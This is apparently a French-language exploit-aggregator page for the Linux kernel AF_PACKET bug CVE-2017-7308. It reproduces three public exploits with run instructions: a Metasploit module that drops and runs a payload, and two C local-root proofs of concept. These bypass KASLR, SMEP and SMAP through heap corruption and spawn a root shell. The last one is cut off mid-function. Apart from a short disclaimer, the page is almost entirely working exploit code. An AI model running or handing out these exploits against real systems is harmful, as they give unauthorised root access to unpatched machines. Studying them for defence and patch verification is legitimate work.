Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2017-7308

MEDIUM

3 exploit(s) public(s) pour cette CVE, 3 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB local linux Vérifié
Source

Linux 4.8.0 < 4.8.0-46 - AF_PACKET packet_set_ring Privilege Escalation (Metasploit)

Par Metasploit

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

ruby 44654.rb

Code rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AF_PACKET packet_set_ring Privilege Escalation',
      'Description'    => %q{
        This module exploits a heap-out-of-bounds write in the packet_set_ring
        function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel
        to execute code as root (CVE-2017-7308).

        The bug was initially introduced in 2011 and patched in version 4.10.6,
        potentially affecting a large number of kernels; however this exploit
        targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46,
        including Linux distros based on Ubuntu Xenial, such as Linux Mint.

        The target system must have unprivileged user namespaces enabled and
        two or more CPU cores.

        Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
        may crash the kernel.

        This module has been tested successfully on Linux Mint 18 (x86_64)
        with kernel versions:

        4.8.0-34-generic;
        4.8.0-36-generic;
        4.8.0-39-generic;
        4.8.0-41-generic;
        4.8.0-42-generic;
        4.8.0-44-generic;
        4.8.0-45-generic.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrey Konovalov', # Discovery and C exploit
          'Brendan Coles'     # Metasploit
        ],
      'DisclosureDate' => 'Mar 29 2017',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'EDB', '41994' ],
          [ 'CVE', '2017-7308' ],
          [ 'BID', '97234' ],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html' ],
          [ 'URL', 'https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308' ],
          [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html', ],
          [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c' ],
          [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c' ]
        ],
      'DefaultTarget'  => 0))
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data
    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end

    output = cmd_exec gcc_cmd
    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    cmd_exec "chmod +x #{path}"
  end

  def exploit_data(file)
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-7308', file
    fd = ::File.open path, 'rb'
    data = fd.read fd.stat.size
    fd.close
    data
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    version = kernel_release
    unless version =~ /^4\.8\.0-(34|36|39|41|42|44|45)-generic/
      vprint_error "Linux kernel version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Linux kernel version #{version} is vulnerable"

    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    cores = get_cpu_info[:cores].to_i
    min_required_cores = 2
    unless cores >= min_required_cores
      vprint_error "System has less than #{min_required_cores} CPU cores"
      return CheckCode::Safe
    end
    vprint_good "System has #{cores} CPU cores"

    unless userns_enabled?
      vprint_error 'Unprivileged user namespaces are not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged user namespaces are permitted'

    if kptr_restrict? && dmesg_restrict?
      vprint_error 'Both kernel.kptr_restrict and kernel.dmesg_destrict are enabled. KASLR bypass will fail.'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, exploit_data('poc.c')
      rm_f "#{executable_path}.c"
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('exploit')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit...'
    output = cmd_exec "#{executable_path} #{payload_path}"
    output.each_line { |line| vprint_status line.chomp }
    print_status 'Deleting executable...'
    rm_f executable_path
    Rex.sleep 5
    print_status 'Deleting payload...'
    rm_f payload_path
  end
end
ExploitDB local linux Vérifié
Source

Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation

Par Andrey Konovalov

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

gcc 41994.c -o exploit && ./exploit

Code c

// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text:   ffffffff87000000
// [.] commit_creds:        ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4:    ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define ENABLE_KASLR_BYPASS	1
#define ENABLE_SMEP_SMAP_BYPASS	1

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 	0xffffffff81000000ul;

// Kernel symbol offsets
#define COMMIT_CREDS		0xa5cf0ul
#define PREPARE_KERNEL_CRED	0xa60e0ul
#define NATIVE_WRITE_CR4	0x64210ul

// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE	0x407f0ul

#define KMALLOC_PAD		512
#define PAGEALLOC_PAD		1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
	struct hlist_node *        next;                 /*     0     8 */
	struct hlist_node * *      pprev;                /*     8     8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
	struct hlist_node          entry;                /*     0    16 */
	long unsigned int          expires;              /*    16     8 */
	void                       (*function)(long unsigned int); /*    24     8 */
	long unsigned int          data;                 /*    32     8 */
	u32                        flags;                /*    40     4 */
	int                        start_pid;            /*    44     4 */
	void *                     start_site;           /*    48     8 */
	char                       start_comm[16];       /*    56    16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET	896

// pakcet_sock->xmit
#define XMIT_OFFSET	1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
		unsigned int frame_size, unsigned int block_nr,
		unsigned int sizeof_priv, unsigned int timeout) {
	int v = TPACKET_V3;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_VERSION)");
		exit(EXIT_FAILURE);
	}

	struct tpacket_req3 req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size;
	req.tp_frame_size = frame_size;
	req.tp_block_nr = block_nr;
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	req.tp_sizeof_priv = sizeof_priv;
	req.tp_feature_req_word = 0;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		perror("[-] socket(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
		sizeof_priv, timeout);

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	return s;
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		perror("[-] socket(SOCK_DGRAM)");
		exit(EXIT_FAILURE);
	}
	return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
	char buffer[16];
	packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)			__ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT	(8)
#define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN	sizeof(struct ethhdr)
#define IP_HDR_LEN	sizeof(struct iphdr)
#define UDP_HDR_LEN	sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
	unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;
	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
	oob_setup(2048 + TIMER_OFFSET - 8);

	int i;
	for (i = 0; i < 32; i++) {
		int timer = packet_sock_kmalloc();
		packet_sock_timer_schedule(timer, 1000);
	}

	char buffer[2048];
	memset(&buffer[0], 0, sizeof(buffer));

	struct timer_list *timer = (struct timer_list *)&buffer[8];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;

	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

	sleep(1);
}

void oob_id_match_execute(void *func) {
	int s = oob_setup(2048 + XMIT_OFFSET - 64);

	int ps[32];

	int i;
	for (i = 0; i < 32; i++)
		ps[i] = packet_sock_kmalloc();

	char buffer[2048];
	memset(&buffer[0], 0, 2048);

	void **xmit = (void **)&buffer[64];
	*xmit = func;

	oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

	for (i = 0; i < 32; i++)
		packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
	int i;
	for (i = 0; i < count; i++)
		packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
	packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
	((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
		((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
	);
}

// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr() {
	int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
	if (size == -1) {
		perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
		exit(EXIT_FAILURE);
	}

	size = (size / getpagesize() + 1) * getpagesize();
	char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
	if (size == -1) {
		perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
		exit(EXIT_FAILURE);
	}

	const char *needle1 = "Freeing SMP";
	char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
		exit(EXIT_FAILURE);
	}

	for (size = 0; substr[size] != '\n'; size++);

	const char *needle2 = "ffff";
	substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
		exit(EXIT_FAILURE);
	}

	char *endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xfffffffffff00000ul;
	r -= 0x1000000ul;

	return r;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
	char *shell = "/bin/bash";
	char *args[] = {shell, "-i", NULL};
	execve(shell, args, NULL);
}

void fork_shell() {
	pid_t rv;

	rv = fork();
	if (rv == -1) {
		perror("[-] fork()");
		exit(EXIT_FAILURE);
	}

	if (rv == 0) {
		exec_shell();
	}
}

bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void check_root() {
	printf("[.] checking if we got root\n");

	if (!is_root()) {
		printf("[-] something went wrong =(\n");
		return;
	}

	printf("[+] got r00t ^_^\n");

	// Fork and exec instead of just doing the exec to avoid potential
	// memory corruptions when closing packet sockets.
	fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}
}

int main() {
	printf("[.] starting\n");

	setup_sandbox();

	printf("[.] namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
	printf("[.] KASLR bypass enabled, getting kernel addr\n");
	KERNEL_BASE = get_kernel_addr();
	printf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

	printf("[.] commit_creds:        %lx\n", KERNEL_BASE + COMMIT_CREDS);
	printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
	printf("[.] native_write_cr4:    %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
#endif

	printf("[.] padding heap\n");
	kmalloc_pad(KMALLOC_PAD);
	pagealloc_pad(PAGEALLOC_PAD);
	printf("[.] done, heap is padded\n");

#if ENABLE_SMEP_SMAP_BYPASS
	printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
	oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
	printf("[.] done, SMEP & SMAP should be off now\n");
#endif

	printf("[.] executing get root payload %p\n", &get_root_payload);
	oob_id_match_execute((void *)&get_root_payload);
	printf("[.] done, should be root now\n");

	check_root();

	while (1) sleep(1000);

	return 0;
}
ExploitDB local linux
Source

Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation

Par bcoles

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

gcc 47168.c -o exploit && ./exploit

Code c

// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on Ubuntu / Linux Mint:
// - 4.8.0-34-generic
// - 4.8.0-36-generic
// - 4.8.0-39-generic
// - 4.8.0-41-generic
// - 4.8.0-42-generic
// - 4.8.0-44-generic
// - 4.8.0-45-generic
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] system has 2 processors
// [.] checking kernel version
// [.] kernel version '4.8.0-41-generic' detected
// [~] done, version looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text:   ffffffff87000000
// [.] commit_creds:        ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4:    ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for systems with SMEP but no SMAP
// - check number of CPU cores
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308

#define _GNU_SOURCE

#include <assert.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define DEBUG

#ifdef DEBUG
#       define dprintf printf
#else
#       define dprintf
#endif

#define ENABLE_KASLR_BYPASS		1
#define ENABLE_SMEP_SMAP_BYPASS		1

char *SHELL = "/bin/bash";

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 		0xffffffff81000000ul;

// Will be overwritten by detect_versions().
int kernel = -1;

struct kernel_info {
	const char* version;
	uint64_t commit_creds;
	uint64_t prepare_kernel_cred;
	uint64_t native_write_cr4;
};

struct kernel_info kernels[] = {
	{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
	{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
	{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
};

// Used to get root privileges.
#define COMMIT_CREDS			(KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED		(KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
#define NATIVE_WRITE_CR4		(KERNEL_BASE + kernels[kernel].native_write_cr4)

// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
unsigned long CR4_DESIRED_VALUE =	0x406e0ul;

#define KMALLOC_PAD			512
#define PAGEALLOC_PAD			1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
	struct hlist_node *        next;                 /*     0     8 */
	struct hlist_node * *      pprev;                /*     8     8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
	struct hlist_node          entry;                /*     0    16 */
	long unsigned int          expires;              /*    16     8 */
	void                       (*function)(long unsigned int); /*    24     8 */
	long unsigned int          data;                 /*    32     8 */
	u32                        flags;                /*    40     4 */
	int                        start_pid;            /*    44     4 */
	void *                     start_site;           /*    48     8 */
	char                       start_comm[16];       /*    56    16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET	896

// pakcet_sock->xmit
#define XMIT_OFFSET	1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
		unsigned int frame_size, unsigned int block_nr,
		unsigned int sizeof_priv, unsigned int timeout) {
	int v = TPACKET_V3;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0) {
		dprintf("[-] setsockopt(PACKET_VERSION)\n");
		exit(EXIT_FAILURE);
	}

	struct tpacket_req3 req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size;
	req.tp_frame_size = frame_size;
	req.tp_block_nr = block_nr;
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	req.tp_sizeof_priv = sizeof_priv;
	req.tp_feature_req_word = 0;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		dprintf("[-] setsockopt(PACKET_RX_RING)\n");
		exit(EXIT_FAILURE);
	}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		dprintf("[-] socket(AF_PACKET)\n");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
		sizeof_priv, timeout);

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		dprintf("[-] bind(AF_PACKET)\n");
		exit(EXIT_FAILURE);
	}

	return s;
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		dprintf("[-] sendto(SOCK_RAW)\n");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		dprintf("[-] socket(SOCK_RAW)\n");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		dprintf("[-] socket(SOCK_DGRAM)\n");
		exit(EXIT_FAILURE);
	}
	return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
	char buffer[16];
	packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)			__ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT	(8)
#define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN	sizeof(struct ethhdr)
#define IP_HDR_LEN	sizeof(struct iphdr)
#define UDP_HDR_LEN	sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
	unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
